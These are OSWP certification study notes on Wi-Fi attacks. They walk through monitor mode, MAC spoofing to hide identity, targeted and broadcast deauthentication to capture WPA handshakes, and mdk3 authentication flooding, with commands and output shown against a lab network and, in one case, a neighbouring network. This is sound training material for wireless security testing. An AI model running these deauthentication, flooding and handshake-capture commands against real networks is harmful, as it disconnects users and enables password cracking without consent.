OSWP-prep

Structure of the notes

To facilitate the distribution of notes, I sense that it is a good idea to divide it on the one hand into attacks on WPA networks and on the other hand into attacks on WEP networks with their different cases, so we will do it like this Mike!

WPA networks

This section includes all the attack vectors and offensive techniques for the WPA protocol.

Basic concepts

There are a number of key concepts to clarify before you begin. Most of the attacks that we are going to see, in addition to sometimes serving to annoy... are aimed at obtaining the password of a wireless network.

Why it is necessary to carry out an attack to obtain the password is something that we will see in the following points. It must be taken into account that since it is a PSK (Pre-Shared-Key) type authentication, a pre-shared key is being used, as its name indicates, a unique password that, if available to anyone, can be used to carry out an association against the AP.

When carrying out an association by a station (**client**) against the AP, a trace is left at the level of packets (eapol), which as an attacker, can be captured and processed without being authenticated to the access point for later extract the password of the wireless network.

All this explained in a non-technical way so as not to get into the subject so quickly, and as we progress, it will be analyzed more at a low level how everything works :)

monitor mode

You have to think that we are surrounded by packages on all sides, packages that we are not capable of perceiving, packages that contain information about the environment in which we move.

These packets can be captured with network cards that support monitor mode. The **monitor mode** is nothing more than a way by which we can listen and capture all the packets that travel through the air. Perhaps best of all, we can not only capture them, but also manipulate them (we'll see some interesting attacks later).

To check if our network card accepts the monitor mode, we will do a test in the next section.

Network card configuration and tips

Let's start with a couple of basic commands. Here is my network card:

```
┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼ # ifconfig wlan0
wlan0: flags= 4163< UP,BROADCAST,RUNNING,MULTICAST > mtu 1500
        inet 192.168.1.187 netmask 255.255.255.0 broadcast 192.168.1.255
        inet6 fe80::1d28:6b2b:a941:5796 prefixlen 64 scopeid 0x 20< link >
        ether e4:70:b8:d3:93:5d txqueuelen 1000 (Ethernet)
        RX packets 6426576 bytes 9229384163 (8.5 GiB)
        RX errors 0 dropped 5 overruns 0 frame 0
        TX packets 1160899 bytes 162727829 (155.1 MiB)
        TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```

I hope that from now on you get along with her, because with this we will practice most of the attacks.

To put our network card in monitor mode, it is as simple as applying the following command:

```
┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼ # airmon-ng start wlan0
Found 5 processes that could cause trouble.
Kill them using ' airmon-ng check kill ' before putting
the card in monitor mode, they will interfere by changing channels
and sometimes putting the interface back in managed mode
  PID Name
  818 avahi-daemon
  835 wpa_supplicant
  877 avahi-daemon
 5398 Network Manager
18308 dhclient
PHY Interface Driver Chipset
phy0 wlan0 iwlwifi Intel Corporation Wireless 7265 (rev 61)
    (mac80211 monitor mode vif enabled  for  [phy0]wlan0 on [phy0]wlan0mon)
    (mac80211 station mode vif disabled  for  [phy0]wlan0)
```

Now, things to keep in mind. When we are in monitor mode, we lose internet connectivity. This mode does not support internet connection, so do not panic if you suddenly see that you cannot navigate. We will see how to disable this mode so that everything returns to normal.

It should be said that when starting this mode, a series of conflicting processes are generated . This is so because, for example, if we are not going to have internet access... why have the ' **dhclient** ' and ' **wpa_supplicant** ' processes running? It's absurd, and even the suite itself reminds us of it... Well, they are in charge of giving us connectivity and keeping us connected to a network while being associated, which in this case... does not apply.

Killing these processes is simple, we have the following way:

```
┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼  #  pkill dhclient && pkill wpa_supplicant
```

Or if we want to pull the suite itself:

```
┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼  #  airmon-ng check kill
Killing these processes:
  PID Name
  835 wpa_supplicant
```

Now with this, our network card is in monitor mode. One way to check if we are in monitor mode is by listing our network interfaces. **Now our wlan0** network should be called **wlan0mon** :

```
┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼  #  ifconfig |  grep wlan0 -A 6
wlan0mon: flags=  4163<  UP,BROADCAST,RUNNING,MULTICAST  >    mtu 1500
        unspec E4-70-B8-D3-93-5C-30-3A-00-00-00-00-00-00-00-00 txqueuelen 1000 (UNSPEC)
        RX packets 63 bytes 12032 (11.7 KiB)
        RX errors 0 dropped 63 overruns 0 frame 0
        TX packets 0 bytes 0 (0.0 B)
        TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```

Once we have reached this point, it could be said that we are already capable of capturing all the packets that travel around us, but we will leave this for the next point.

Important, how to disable monitor mode and get everything back to normal in terms of connectivity? Simple. We can make use of the following commands to reestablish the connection:

```
┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼  #  airmon-ng stop wlan0mon && service network-manager restart
PHY Interface Driver Chipset
phy0 wlan0mon iwlwifi Intel Corporation Wireless 7265 (rev 61)
    (mac80211 station mode vif enabled on [phy0]wlan0)
    (mac80211 monitor mode vif disabled  for  [phy0]wlan0mon)
┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼  #  ping -c 10 -i 0.01 -q google.com
PING google.es (172.217.17.3) 56(84) bytes of data.
--- google.es ping statistics ---
10 packets transmitted, 10 received, 0% packet loss,  time  309ms
rtt min/avg/max/mdev = 28.718/29.565/29.985/0.427 ms, pipe 3
```

For whatever ailments and concerns, you should not throw your computer away.

But this is not enough. Despite not being connected to any network and not having an IP address, what in itself can leave a trace is our MAC address.

The MAC address, after all, is like the DNI of each device, it is what identifies a mobile device, a router, a computer, etc. It would be ugly to be carrying out certain types of attacks acting under a MAC address that is associated with us, it is the equivalent of carrying out a robbery with a balaclava but carrying a wallet with our ID in our pocket and inadvertently dropping it to the ground, leaving us exposure of everyone else.

A good practice is to falsify the MAC address, and it is not necessary to know electronics or hardware for it. Through the **macchanger** utility , we can play with the MAC address of our device to manipulate it at will.

For example, let's imagine that I want to assign a MAC address of the NATIONAL SECURITY AGENCY (**NSA**) to my network card . How would I proceed? First we look for the MAC address in the extensive list available to 'macchanger':

```
┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼  #  macchanger -l |  grep -i "national security agency"
8310 - 00:20:91 - J125, NATIONAL SECURITY AGENCY
```

These first three listed pairs correspond to what is known as the **Organizationally Unique Identifier** , a simple 24-bit number that identifies the vendor, manufacturer, or other organization.

A MAC address is made up of 6 bytes, we already have the first 3 bytes, what about the other 3 bytes? The remaining 24 bits correspond to what is known as a **Universally Administered Address** , and honestly... in my practices, I always make it up.

That is, if you wanted to spoof a MAC address registered under the NSA's **OUI** , you could do the following:

```
┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼  #  ifconfig wlan0mon down
┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼  #  echo "$(macchanger -l | grep -i "national security agency" | awk '{print $3}'):da:1b:6a"
00:20:91:da:1b:6a
┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼  #  macchanger --mac=$(!!) wlan0mon
Current MAC: e4:70:b8:d3:93:5c (unknown)
Permanent MAC: e4:70:b8:d3:93:5c (unknown)
New MAC: 00:20:91:da:1b:6a (J125, NATIONAL SECURITY AGENCY)
┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼  #  ifconfig wlan0mon up
┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼  #  macchanger -s wlan0mon
Current MAC: 00:20:91:da:1b:6a (J125, NATIONAL SECURITY AGENCY)
Permanent MAC: e4:70:b8:d3:93:5c (unknown)
```

Aspects to take into account from the above:

- It is necessary to unsubscribe the network interface to manipulate its MAC address, otherwise the 'macchanger' itself will notify us that it is necessary to unsubscribe it.
- With the '--mac' utility, we can specify the MAC address to use for the specified network interface.
- Once the changes have been applied, we register the interface and with the parameter '-s' (**show**), we validate that our network card corresponds to the assigned **OUI .**

Perfect, if you have reached this point we can continue.

Surrounding analysis

The interesting moment arrives. Now that we are in monitor mode, to capture all the packets around us, we can use the following command:

```
airodump-ng wlan0mon
```

IMPORTANT : Although perhaps I should have mentioned it in the previous point, not all network cards have to be called **wlan0** , they may have a different name (Ex: **wlp2s0**), so its name must be taken into account to accompany it together to the command to apply.

When running the aforementioned command, we get the following output:

```
CH 13 ][ Elapsed: 18s ][ 2019-08-05 13:34
 BSSID PWR Beacons      #  Data, #/s CH MB ENC CIPHER AUTH ESSID
 20:34:FB:B1:C5:53 -20 19 1 0 1 180 WPA2 CCMP PSK hacklab
 1C:B0:44:D4:16:78 -59 23 13 0 11 130 WPA2 CCMP PSK MOVISTAR_1677
 30:D3:2D:58:3C:6B -79 29 4 0 11 135 WPA2 CCMP PSK devolo-30d32d583c6b
 10:62:D0:F6:F7:D8 -81 15 0 0 6 130 WPA2 CCMP PSK LowiF7D3
 F8:8E:85:DF:3E:13 -85 14 0 0 9 130 WPA CCMP PSK Wlan1
 FC:B4:E6:99:A9:09 -85 17 0 0 1 130 WPA2 CCMP PSK MOVISTAR_A908
 28:9E:FC:0C:40:3E -90 2 0 0 6 195 WPA2 CCMP PSK vodafone4038
 BSSID STATION PWR Rate Lost Frames Probe
 20:34:FB:B1:C5:53 34:41:5D:46:D1:38 -27 0 - 2e 0 1
```

Well then, how is this output interpreted?

Of the most important fields at the moment, on the one hand we have the BSSID field , where we can always verify the MAC address of the access point. On the other hand, we have the **PWR** field , where by way of consideration, the closer it is to the value 0, we can say that the closer we are to the AP.

The **CH** field indicates the channel in which the AP is located. Each AP is positioned in a different channel, with the aim of avoiding damage to the wave spectrum between the multiple networks in the environment. There is a denial of service attack, which is responsible for generating multiple Fake APs located on the same channel as the target AP, thus rendering the network temporarily inoperative (we will see it later).

On the other hand, the **ENC, CIPHER** and **AUTH** fields , where we can always check what type of network we are dealing with. Most home networks comply with WPA/WPA encryption, with CCMP encryption and PSK authentication mode.

In the **ESSID** field , we will always be able to know the name of the network with which we are dealing, thus being able to know its MAC address on the same line through the **BSSID** field , useful for when we start with the filtering phase.

The **DATA** field , for the moment we will not touch it, since we will get into it thoroughly when we deal with the **WEP** protocol networks .

Also, at the bottom, we can see other data that is being captured with the tool. This section corresponds to that of clients. We will consider a station as an associated client. For the example shown, there is a station with MAC address **34:41:5D:46:D1:38** associated with **BSSID** '20:34:FB:B1:C5:53', where immediately at the top we can see that This is the **hacklab** network , so we already know that this network has an associated client.

It is possible that sometimes we get to capture stations that are not associated to any access point, which in this case will be indicated with a ' **not associated** ' in the **BSSID** field . It is through the **Frames** field of the stations, where we can see what type of activity the client has on said AP. If the Frames increase considerably at short intervals of time, this means that the station is active at the time of the capture.

Filter modes

Although it is wonderful to be able to capture all the AP's and stations in our environment, as an attacker we will always be interested in attacking a specific AP. Therefore, we introduce at this point the filter modes available from the tool to capture those desired access points.

Let's go back to the case from before:

```
CH 13 ][ Elapsed: 18s ][ 2019-08-05 13:34
 BSSID PWR Beacons      #  Data, #/s CH MB ENC CIPHER AUTH ESSID
 20:34:FB:B1:C5:53 -20 19 1 0 1 180 WPA2 CCMP PSK hacklab
 1C:B0:44:D4:16:78 -59 23 13 0 11 130 WPA2 CCMP PSK MOVISTAR_1677
 30:D3:2D:58:3C:6B -79 29 4 0 11 135 WPA2 CCMP PSK devolo-30d32d583c6b
 10:62:D0:F6:F7:D8 -81 15 0 0 6 130 WPA2 CCMP PSK LowiF7D3
 F8:8E:85:DF:3E:13 -85 14 0 0 9 130 WPA CCMP PSK Wlan1
 FC:B4:E6:99:A9:09 -85 17 0 0 1 130 WPA2 CCMP PSK MOVISTAR_A908
 28:9E:FC:0C:40:3E -90 2 0 0 6 195 WPA2 CCMP PSK vodafone4038
 BSSID STATION PWR Rate Lost Frames Probe
 20:34:FB:B1:C5:53 34:41:5D:46:D1:38 -27 0 - 2e 0 1
```

Let's imagine that we want to filter so that only the access point whose ESSID is **hacklab** is listed , what can we first collect from this network?

- The AP sits on channel 1
- The AP has MAC address 20:34:FB:B1:C5:53
- The AP has ESSID hacklab

Generally, 2 data is enough to carry out the filter. For this case, we could filter the network in question in the following ways:

- airodump -ng -c 1 --essid hacklab wlan0mon
- airodump -ng -c 1 --bssid 20:34:FB:B1:C5:53 wlan0mon
- airodump -ng -c 1 --bssid 20:34:FB:B1:C5:53 --essid hacklab wlan0mon

For any of the represented forms, we would obtain the following results:

```
CH 1 ][ Elapsed: 0s ][ 2019-08-08 20:12
 BSSID PWR RXQ Beacons      #  Data, #/s CH MB ENC CIPHER AUTH ESSID
 20:34:FB:B1:C5:53 -26 100 29 7 3 1 180 WPA2 CCMP PSK hacklab
 BSSID STATION PWR Rate Lost Frames Probe
 20:34:FB:B1:C5:53 34:41:5D:46:D1:38 -26 0e- 6e 0 9
```

Evidence export

Now, for practical purposes, we find ourselves in the same situation as at the beginning. As attackers, what we are always interested in is collecting the information of the target AP. In this case, we are monitoring the traffic of the **hacklab** AP , but without generating evidence.

It is more interesting to capture and export all the traffic that is monitored to a file, with the purpose of later being able to analyze it. To do this, the same syntax is used but incorporating the ' **-w** ' parameter, where we then specify the name of the file:

- airodump-ng -c 1 -w Capture --essid hacklab wlan0mon
- airodump-ng -c 1 -w Trap --bssid 20:34:FB:B1:C5:53 wlan0mon
- airodump-ng -c 1 -w Capture --bssid 20:34:FB:B1:C5:53 --essid hacklab wlan0mon

In this way, once the scan begins, the following files are generated in our working directory:

```
┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼ # ls
Capture-01.cap Capture-01.csv Capture-01.kismet.csv Capture-01.kismet.netxml Capture-01.log.csv
```

Actually, of all these files, the one that we will work with most of the time is the one with the '.cap' extension, this is so since it is the one that will contain the captured ** Handshake**, which we will deal with shortly .

handshake concept

For each time a station associates or re-associates with an AP, the encrypted password of the AP travels during the association process. For practical purposes, it is always said that the **Handshake** in these cases is generated when a client reconnects to the network.

As we are monitoring all the network traffic in a file... it is wonderful to capture a re-association, since this authentication will leave a trace in our capture and we will be able to visualize the encrypted password of the network.

You might think, so I have to wait until for X reason a station re-associates with the AP? Not exactly. This type of scenario would be considered a passive scenario, since we as attackers would not be intervening to manipulate the AP traffic.

There is an active scenario, which we will put into practice, where as attackers we are capable of externally developing a de-authentication attack without being associated with an AP, thus expelling one or multiple clients from a wireless network without consent.

At the end of the day, a Handshake will be marked as a Hash, which we can later extract from the capture to start a brute force attack.

Techniques to Capture a Handshake

Next, different techniques are represented with the purpose of capturing a Handshake of the target network.

Targeted Deauthentication Attack

The IEEE 802.11 (Wi-Fi) protocol contains provision for a **deauthentication framework** . As attackers, for this attack what we will do is send a deauthentication frame to the target wireless access point, specifying the MAC address of the client that we want to be expelled from the network.

The process of sending such a frame to the access point is called the ' **Authorized Technique to inform an unauthorized station that it has disconnected from the network** '.

To resume the capture where we had left it, I will represent the case again:

```
CH 1 ][ Elapsed: 0s ][ 2019-08-08 20:12
 BSSID PWR RXQ Beacons      #  Data, #/s CH MB ENC CIPHER AUTH ESSID
 20:34:FB:B1:C5:53 -26 100 29 7 3 1 180 WPA2 CCMP PSK hacklab
 BSSID STATION PWR Rate Lost Frames Probe
 20:34:FB:B1:C5:53 34:41:5D:46:D1:38 -26 0e- 6e 0 9
```

Therefore, we have a client **34:41:5D:46:D1:38** associated with the AP **hacklab** . Let's try to eject it from the access point. To kick the client, we will use the **aireplay-ng** utility .

' **Aireplay-ng** ' has different modes:

```
┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼ #  echo;  aireplay-ng --help |  tail -n 13 |  grep -v help |  sed '/^\s*$/d' |  sed 's/^ *//';  threw out
--deauth count  :  deauthenticate 1 or all stations (-0)
--fakeauth delay  :  fake authentication with AP (-1)
```

```
--interactive        :  interactive frame selection (-2)
--arpreplay          :  standard ARP-request replay (-3)
--chopchop           :  decrypt/chopchop WEP packet (-4)
--fragment           :  generates valid keystream (-5)
--caffe-latte        :  query a client  for  new IVs (-6)
--cfrag              :  fragments against a client (-7)
--migmode            :  attacks WPA migration mode (-8)
--test               :  tests injection and quality (-9)
```

For this case, we are interested in the ' -0 ' parameter , which can also be used with the ' **--deauth** ' parameter.

The syntax would be the following:

- aireplay-ng -0 10 -e hacklab -c 34:41:5D:46:D1:38 wlan0mon

CONSIDERATIONS : It is necessary to have another console open monitoring the target AP, because if it is not done, it is likely that the deauthentication attack will not work, since **aireplay** does not know which channel to operate on.

For the command represented, what we are doing is from our attacking team sending 10 de-authentication packets to the target station, thus making it disassociate from the network. Just as 10 packages have been specified, its value can be increased to the desired value.

It is even possible to specify a value ' **0** ', thus letting **aireplay** know that we want to send an infinite/unlimited number of deauthentication packets to the target station:

- aireplay-ng -0 0 -e hacklab -c 34:41:5D:46:D1:38 wlan0mon

We could have done the same by specifying the MAC address of the AP instead of its **ESSID** :

- aireplay-ng -0 0 -a 20:34:FB:B1:C5:53 -c 34:41:5D:46:D1:38 wlan0mon

Obtaining the following results:

```
┌─[✗]─[root@parrot]─[/home/s4vitar]
└──╼  #  aireplay-ng -0 10 -a 20:34:FB:B1:C5:53 -c 34:41:5D:46:D1:38 wlan0mon
20:48:28 Waiting  for  beacon frame (BSSID: 20:34:FB:B1:C5:53) on channel 1
20:48:29 Sending 64 directed DeAuth (code 7).  STMAC: [34:41:5D:46:D1:38] [18  |  65 ACKs]
20:48:29 Sending 64 directed DeAuth (code 7).  STMAC: [34:41:5D:46:D1:38] [11  |  63 ACKs]
20:48:30 Sending 64 directed DeAuth (code 7).  STMAC: [34:41:5D:46:D1:38] [ 0  |  64 ACKs]
20:48:30 Sending 64 directed DeAuth (code 7).  STMAC: [34:41:5D:46:D1:38] [14  |  66 ACKs]
20:48:31 Sending 64 directed DeAuth (code 7).  STMAC: [34:41:5D:46:D1:38] [17  |  63 ACKs]
20:48:32 Sending 64 directed DeAuth (code 7).  STMAC: [34:41:5D:46:D1:38] [ 0  |  64 ACKs]
20:48:32 Sending 64 directed DeAuth (code 7).  STMAC: [34:41:5D:46:D1:38] [24  |  66 ACKs]
20:48:33 Sending 64 directed DeAuth (code 7).  STMAC: [34:41:5D:46:D1:38] [ 0  |  64 ACKs]
20:48:33 Sending 64 directed DeAuth (code 7).  STMAC: [34:41:5D:46:D1:38] [ 0  |  64 ACKs]
20:48:34 Sending 64 directed DeAuth (code 7).  STMAC: [34:41:5D:46:D1:38] [ 0  |  64 ACKs]
```

Now, to know if our packages are having an effect on the station, the trick is to look at the left value that appears in the values located to the right ' [18|65 **ACks]** '. Whenever this is greater than 0, this will mean that our packets are being sent correctly to the station.

If you do these practices locally, you will be able to check how your device, if it had been the victim station, would have been disconnected from the AP. On the other hand, although we will see it later, let's imagine that we now stop the attack, what do you think would happen? Notice that most of the time, devices tend to remember the access points to which they have ever been connected.

This is because of the **Probe Request** packets :

```
┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼  #  tshark -i wlan0mon -Y 'wlan.fc.type_subtype==4' 2>/dev/null
   49 1.516614496 HonHaiPr_17:91:c0 → Broadcast 802.11 240 Probe Request, SN=98, FN=0, Flags=........C, SSID=Wildcard (Broadcast)
  242 9.119006178 HonHaiPr_17:91:c0 → Broadcast 802.11 240 Probe Request, SN=112, FN=0, Flags=........C, SSID=Wildcard (Broadcast)
  473 17.062963738 HonHaiPr_17:91:c0 → Broadcast 802.11 240 Probe Request, SN=126, FN=0, Flags=........C, SSID=Wildcard (Broadcast)
  487 17.411192451 HonHaiPr_17:91:c0 → Broadcast 802.11 240 Probe Request, SN=128, FN=0, Flags=........C, SSID=Wildcard (Broadcast)
  511 18.533411763 IntelCor_46:d1:38 → Broadcast 802.11 285 Probe Request, SN=2477, FN=0, Flags=........C, SSID=hacklab
  512 18.552100778 IntelCor_46:d1:38 → Broadcast 802.11 285 Probe Request, SN=2479, FN=0, Flags=........C, SSID=hacklab
  513 18.556049394 IntelCor_46:d1:38 → Broadcast 802.11 278 Probe Request, SN=2480, FN=0, Flags=........C, SSID=Wildcard (Broadcast)
  515 18.649006729 Google_71:cf:8c → Broadcast 802.11 195 Probe Request, SN=1719, FN=0, Flags=........C, SSID=Wildcard (Broadcast)
  516 18.650498757 Google_71:cf:8c → Broadcast 802.11 208 Probe Request, SN=1720, FN=0, Flags=........C, SSID=MOVISTAR_DF12
  517 18.669117644 Google_71:cf:8c → Broadcast 802.11 195 Probe Request, SN=1721, FN=0, Flags=........C, SSID=Wildcard (Broadcast)
  518 18.670480133 Google_71:cf:8c → Broadcast 802.11 208 Probe Request, SN=1722, FN=0, Flags=........C, SSID=MOVISTAR_DF12
  519 18.691337428 Google_71:cf:8c → Broadcast 802.11 195 Probe Request, SN=1723, FN=0, Flags=........C, SSID=Wildcard (Broadcast)
```

And it is precisely here where the fun lies, because if the attack is stopped, what the device will automatically do is reconnect to the AP, without us having to do anything. And it is at this moment, where the Handshake will be generated:

```
CH 1 ][ Elapsed: 6 mins ][ 2019-08-08 20:54 ][ WPA handshake: 20:34:FB:B1:C5:53
 BSSID PWR RXQ Beacons      #  Data, #/s CH MB ENC CIPHER AUTH ESSID
 20:34:FB:B1:C5:53 -28 100 3564 684 2 1 180 WPA2 CCMP PSK hacklab
 BSSID STATION PWR Rate Lost Frames Probe
 (not associated) 24:A2:E1:48:66:14 -87 0 - 1 0 5
 20:34:FB:B1:C5:53 34:41:5D:46:D1:38 -19 0e- 6e 0 2538 hacklab
```

If we look at the upper part, the suite itself indicates **the WPA handshake** followed by the MAC address of the AP, because the Handshake corresponding to the client that we have deauthenticated and that has just been reassociated has been captured.

We'll play with the Handshake later, let's see other ways to get the Handshake first.

Global Deauthentication attack

Now imagine that we are in a bar, a bar full of people with an access point of the establishment itself. In these cases, when a network has so many associated clients, it is more feasible to launch another type of attack, the **global deauthentication attack** .

Unlike the targeted deauthentication attack, in the global deauthentication attack, a **Broadcast MAC Address** is used as the MAC address of the target station to use. What we achieve with this MAC address is to expel all the clients that are associated with the AP.

This is even better, since it is always likely that in a sample of 20 clients, 5 of them may not be close enough to the router to carry out the attack (remember that this can be seen both from the PWR and at the level of the router **)** . of **Frames** emitted by the station). Instead of de-authenticating from client to client until we find the one that is at a considerable distance for us to capture a Handshake, it is more convenient to expel them all.

It is enough for one of all these clients to reconnect to capture a valid Handshake. It must be taken into account that it is possible to capture multiple Handshakes by different stations on the same AP, but this is not a problem.

The attack can be elaborated in 2 ways, one is as follows:

- aireplay-ng -0 0 -e hacklab -c FF:FF:FF:FF:FF:FF wlan0mon

Obtaining the following results:

```
 ┌─[root@parrot]─[/home/s4vitar]
└──╼  #  aireplay-ng -0 10 -e hacklab -c FF:FF:FF:FF:FF:FF wlan0mon
21:10:33 Waiting  for  beacon frame (ESSID: hacklab) on channel 12
Found BSSID  "  20:34:FB:B1:C5:53  "  to given ESSID  "  hacklab  "  .
21:10:33 Sending 64 directed DeAuth (code 7).  STMAC: [FF:FF:FF:FF:FF:FF] [ 0  |  0 ACKs]
21:10:34 Sending 64 directed DeAuth (code 7).  STMAC: [FF:FF:FF:FF:FF:FF] [ 0  |  0 ACKs]
21:10:34 Sending 64 directed DeAuth (code 7).  STMAC: [FF:FF:FF:FF:FF:FF] [ 0  |  0 ACKs]
21:10:35 Sending 64 directed DeAuth (code 7).  STMAC: [FF:FF:FF:FF:FF:FF] [ 1  |  0 ACKs]
21:10:36 Sending 64 directed DeAuth (code 7).  STMAC: [FF:FF:FF:FF:FF:FF] [ 0  |  0 ACKs]
21:10:36 Sending 64 directed DeAuth (code 7).  STMAC: [FF:FF:FF:FF:FF:FF] [ 0  |  0 ACKs]
21:10:36 Sending 64 directed DeAuth (code 7).  STMAC: [FF:FF:FF:FF:FF:FF] [ 0  |  0 ACKs]
21:10:37 Sending 64 directed DeAuth (code 7).  STMAC: [FF:FF:FF:FF:FF:FF] [ 1  |  0 ACKs]
21:10:37 Sending 64 directed DeAuth (code 7).  STMAC: [FF:FF:FF:FF:FF:FF] [ 0  |  0 ACKs]
21:10:38 Sending 64 directed DeAuth (code 7).  STMAC: [FF:FF:FF:FF:FF:FF] [ 2  |  0 ACKs]
```

And the other without specifying any MAC address, which by default the suite will interpret as a global deauthentication attack:

- aireplay-ng -0 0 -e hacklab wlan0mon

Getting these results:

```
 ┌─[root@parrot]─[/home/s4vitar]
└──╼  #  aireplay-ng -0 10 -e hacklab wlan0mon
21:11:46 Waiting  for  beacon frame (ESSID: hacklab) on channel 12
Found BSSID  "  20:34:FB:B1:C5:53  "  to given ESSID  "  hacklab  "  .
NB: this attack is more effective when targeting
a connected wireless client (-c  <  client  's  mac>).  21:11:46 Sending DeAuth (code 7) to broadcast -- BSSID: [20:34:FB:B1:C5:53]
 21:11:47 Sending DeAuth (code 7) to broadcast -- BSSID: [20: 34:FB:B1:C5:53]  21:11:47 Sending DeAuth (code 7) to broadcast -- BSSID:
[20:34:FB:B1:C5:53]  21:11:48 Sending DeAuth (code 7 ) to broadcast -- BSSID: [20:34:FB:B1:C5:53]  21:11:48 Sending DeAuth (code 7) to
broadcast -- BSSID: [20:34:FB:B1:C5:53]  21:11:49 Sending DeAuth (code 7) to broadcast -- BSSID: [20:34:FB:B1:C5:53]  21:11:49 Sending
DeAuth (code 7) to broadcast -- BSSID: [20: 34:FB:B1:C5:53]  21:11:50 Sending DeAuth (code 7) to broadcast -- BSSID:
[20:34:FB:B1:C5:53] 21:11:50 Sending DeAuth (code 7) to broadcast -- BSSID: [20:34:FB:B1:C5:53]  21:11:51 Sending DeAuth (code 7) to
broadcast -- BSSID: [20: 34:FB:B1:C5:53]
```

Authentication Attack

It may sound weird, but there is also an attack called an authentication or association attack. Through this attack, instead of expelling clients from a network, what we do is add them.

You may wonder, and what do I get with that? Good question. Our goal as attackers is to always ensure that, in one way or another, the clients of a network are reassociated to capture a Handshake.

What do you think would happen if we inject 5,000 clients into a network? Exactly, that's where the shots go. If a network has so many associated clients, the router goes crazy... We would even notice if we did it locally that the network would start to slow down, reaching the point where we would be expelled from it until the attack stopped.

Injecting a client is quite simple, we do it through the ' **-1** ' parameter of aireplay:

```
┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼ # echo; aireplay-ng --help | tail -n 13 | grep "\-1" | sed '/^\s*$/d' | sed 's/^ *//'; threw out
--fakeauth delay : fake authentication with AP (-1)
```

Let's imagine we have this scenario:

```
CH 6 ][ Elapsed: 30s ][ 2019-08-08 21:20
 BSSID PWR RXQ Beacons      #  Data, #/s CH MB ENC CIPHER AUTH ESSID
 1C:B0:44:D4:16:78 -52 12 232 6 0 6 130 WPA2 CCMP PSK MOVISTAR_1677
 BSSID STATION PWR Rate Lost Frames Probe
 (not associated) AC:D1:B8:17:91:C0 -69 0 - 1 0 5
 (not associated) E0:B9:BA:AE:90:FB -88 0 - 1 0 1
```

Let's see how we could, for example, carry out a false authentication using our network card as a station:

```
┌─[root@parrot]─[/home/s4vitar]
└──╼ # aireplay-ng -1 0 -e MOVISTAR_1677 -h 00:a0:8b:cd:02:65 wlan0mon
21:20:28 Waiting for beacon frame (ESSID: MOVISTAR_1677) on channel 6
Found BSSID " 1C:B0:44:D4:16:78 " to given ESSID " MOVISTAR_1677 " .
21:20:28 Sending Authentication Request (Open System) [ACK]
21:20:28 Authentication successful
21:20:28 Sending Association Request
21:20:33 Sending Authentication Request (Open System) [ACK]
21:20:33 Authentication successful
21:20:33 Sending Association Request
21:20:38 Sending Authentication Request (Open System) [ACK]
21:20:38 Authentication successful
21:20:38 Sending Association Request [ACK]
21:20:38 Association successful :-) (AID: 1)
```

With the ' **-h** ' parameter, we specify the MAC address of the fake client to authenticate. If we now analyze the wireless network again, we can see that our network card appears as a client:

```
CH 6 ][ Elapsed: 30s ][ 2019-08-08 21:20
 BSSID PWR RXQ Beacons      #  Data, #/s CH MB ENC CIPHER AUTH ESSID
 1C:B0:44:D4:16:78 -52 12 232 6 0 6 130 WPA2 CCMP PSK MOVISTAR_1677
 BSSID STATION PWR Rate Lost Frames Probe
 (not associated) AC:D1:B8:17:91:C0 -69 0 - 1 0 5
 (not associated) E0:B9:BA:AE:90:FB -88 0 - 1 0 1
 1C:B0:44:D4:16:78 00:A0:8B:CD:02:65 0 0 - 1 0 7
```

It should be said that this does not make us connect to the network directly and already have internet, but what a grace, we would be bypassing the security of full 802.11. What we are doing is tricking the router, making it believe that it has that associated client.

For practical purposes, for the moment this does not generate any inconvenience, so how do we now authenticate 5,000 clients? We could set up a simple script that would do it for us by generating random MAC addresses, but we already have a tool that does all the work for us, **mdk3** .

Through the **mdk3** utility , we have an attack mode ' **Authentication DoS Mode** ' that is responsible for associating thousands of clients to the target AP. This is done using the following syntax:

- mdk3 wlan0mon a -a bssidAP

Let's see it in practice, we apply the command on the one hand:

```
┌─[✗]─[root@parrot]─[/home/s4vitar]
└──╼ # mdk3 wlan0mon a -a 20:34:FB:B1:C5:53 # MAC address of hacklab AP
```

If we analyze the console where we are monitoring the AP, we can notice the following:

```
CH 12 ][ Elapsed: 1 min ][ 2019-08-08 21:27
 BSSID PWR RXQ Beacons      #  Data, #/s CH MB ENC CIPHER AUTH ESSID
 20:34:FB:B1:C5:53 -27 100 819 177 2 12 180 WPA2 CCMP PSK hacklab
 BSSID STATION PWR Rate Lost Frames Probe
 (not associated) AC:D1:B8:17:91:C0 -73 0 - 1 12 25
 20:34:FB:B1:C5:53 22:19:BA:9B:7D:F5 0 0 - 1 0 1
 20:34:FB:B1:C5:53 48:47:15:5C:BB:6F 0 0 - 1 0 1
 20:34:FB:B1:C5:53 AF:3B:33:CD:E3:50 0 0 - 1 0 1
 20:34:FB:B1:C5:53 34:41:5D:46:D1:38 -30 1e- 6e 0 223
 20:34:FB:B1:C5:53 3E:A1:41:E1:FC:67 0 0 - 1 0 1
```

```
20:34:FB:B1:C5:53 21:3D:DC:87:70:E9 0 0 - 1 0 1
20:34:FB:B1:C5:53 54:11:0E:82:74:41 0 0 - 1 0 1
20:34:FB:B1:C5:53 AB:B2:CD:C6:9B:B4 0 0 - 1 0 1
20:34:FB:B1:C5:53 05:17:58:E9:5E:D4 0 0 - 1 0 1
20:34:FB:B1:C5:53 31:58:A3:5A:25:5D 0 0 - 1 0 1
20:34:FB:B1:C5:53 C9:9A:66:32:0D:B7 0 0 - 1 0 1
